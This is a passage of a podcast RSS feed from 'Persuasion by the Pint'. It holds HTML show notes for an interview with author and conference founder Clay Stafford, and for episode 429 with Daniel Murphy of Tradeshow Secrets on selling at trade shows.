										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, <a href="https://claystafford.com/" target="_blank" rel="noopener" title="">Clay Stafford</a> joins the show. Clay has had an eclectic career as an author, filmmaker, story and creative consultant, actor, composer, educator, public speaker, and business leader. He has sold nearly four million copies of his works in over sixteen languages.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" width="1024" height="462" src="https://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-1024x462.png" alt="" class="wp-image-3010" style="aspect-ratio:2.216497022426828;width:774px;height:auto" srcset="http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-1024x462.png 1024w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-300x135.png 300w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-768x347.png 768w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-1536x693.png 1536w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-2048x924.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">He is the founder and CEO of the annual <a href="https://www.killernashville.com/" target="_blank" rel="noopener" title="">Killer Nashville International Writers’ Conference</a>, now in its 21st year, and a contributor to Writer’s Digest magazine with his monthly online column, “Killer Writer”. In addition, Clay is the founder of <a href="https://killernashvilleuniversity.com/" target="_blank" rel="noopener" title="">Killer Nashville University</a>, a creative learning platform for writers.</p>



<p class="wp-block-paragraph">You can learn more about him at&nbsp;<a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbkFBeDE2bWlPVWFxdWFKakM3TkxvMVBaVkdGQXxBQ3Jtc0traldFT1JXVU1ncmdRdWRrb1ROVllFYlpNZVVNTEk3bENxcFctY2FaQkh6cDM0Y3FTYWIyRF9IbzFNOS1LVGdiNFUxMkIyRUlBLWJJZGdtS1F4NWxJRnhyNDkxZ3BERkVGOHZCbVRFYmduWHFCQV9idw&amp;q=https%3A%2F%2Fclaystafford.com%2F&amp;v=i4-XryiEsmI" target="_blank" rel="noreferrer noopener">https://claystafford.com</a>.</p>



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				<itunes:subtitle>On this episode, Clay Stafford joins the show. Clay has had an eclectic career as an author, filmmaker, story and creative consultant, actor, composer, educator, public speaker, and business leader. He has sold nearly four million copies of his works i...</itunes:subtitle>
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		<title>429: The Art of Selling at Trade Shows – Interview with Daniel Murphy of Tradeshow Secrets</title>
		<link>http://persuasionbythepint.com/429-the-art-of-selling-at-trade-shows-interview-with-daniel-murphy-of-tradeshow-secrets/</link>
		
		
		<pubDate>Sat, 18 Apr 2026 14:31:42 +0000</pubDate>
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					<description><![CDATA[<p>On this episode, Daniel Murphy of Tradeshow Secrets joins us to share how to maximize your ROI at Tradeshow events. Daniel is an entrepreneur, consultant, high-ticket and sales mentor. With a transformative journey from adversity to triumph, Daniel specializes in achieving high return on ad spend (ROAS) and streamlining revenue generation. &#160;His dedication to mentorship [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/429-the-art-of-selling-at-trade-shows-interview-with-daniel-murphy-of-tradeshow-secrets/">429: The Art of Selling at Trade Shows – Interview with Daniel Murphy of Tradeshow Secrets</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, Daniel Murphy of Tradeshow Secrets joins us to share how to maximize your ROI at Tradeshow events. Daniel is an entrepreneur, consultant, high-ticket and sales mentor. With a transformative journey from adversity to triumph, Daniel specializes in achieving high return on ad spend (ROAS) and streamlining revenue generation.</p>



<p class="wp-block-paragraph">&nbsp;His dedication to mentorship and empowering others has led to significant success stories in various industries. You can learn more by visiting <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbHk5N1pfWC03LWoxSGpNajFPVkFjcWVvaHNYd3xBQ3Jtc0tucUNPMGdLTjdZYjFPMnZoaTlNQXhDV1BMdllIMTV6OXpGUHRQOWozV0NtTXFxREdLWGs5R1FDNXducXN5WmVqcnRYZlJzaG8xVU5ycWNPbEhTaEo0c3BXWkE2aDF0OGpKTHFZY29FRzdUem0zeGpqWQ&amp;q=https%3A%2F%2Ftradeshowsecrets.com%2F&amp;v=x0JjDzzMbkQ" target="_blank" rel="noreferrer noopener">https://tradeshowsecrets.com</a>.</p>



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